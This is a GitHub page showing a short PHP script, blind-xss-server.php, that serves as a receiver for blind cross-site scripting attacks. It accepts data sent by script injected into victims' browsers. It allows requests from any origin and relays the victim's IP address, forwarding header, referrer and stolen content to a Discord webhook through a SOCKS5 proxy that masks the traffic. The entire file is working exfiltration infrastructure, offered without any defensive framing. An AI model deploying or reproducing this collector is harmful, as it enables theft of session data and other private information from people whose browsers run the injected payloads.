-
Notifications
You must be signed in to change notification settings - Fork 0
/
blind-xss-server.php
38 lines (30 loc) · 1.17 KB
/
blind-xss-server.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
header("Access-Control-Allow-Origin: *");
header("Content-Type: application/json");
$origin = $_GET["origin"] ?? null;
$msg = $_GET["msg"] ?? null;
if ($origin && $msg) {
$url = "DISCORD_URL";
$data = [
"content" => "REMOTE ADDRESS: " . $_SERVER["REMOTE_ADDR"] . "\n"
. "Forwarded For: " . ($_SERVER["HTTP_X_FORWARDED_FOR"] ?? "N/A") . "\n"
. "Referrer: " . ($_SERVER["HTTP_REFERER"] ?? "N/A") . "\n"
. "DATA RECEIVED:\n" . $msg,
];
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-Type: application/json"]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1:12334"); // Proxy Config
curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
$result = curl_exec($ch);
if (curl_errno($ch)) {
echo json_encode(["status" => "error", "message" => curl_error($ch)]);
} else {
echo json_encode(["status" => "success", "result" => $result]);
}
curl_close($ch);
} else {
echo json_encode(["status" => "error", "message" => "Invalid input data"]);
}
?>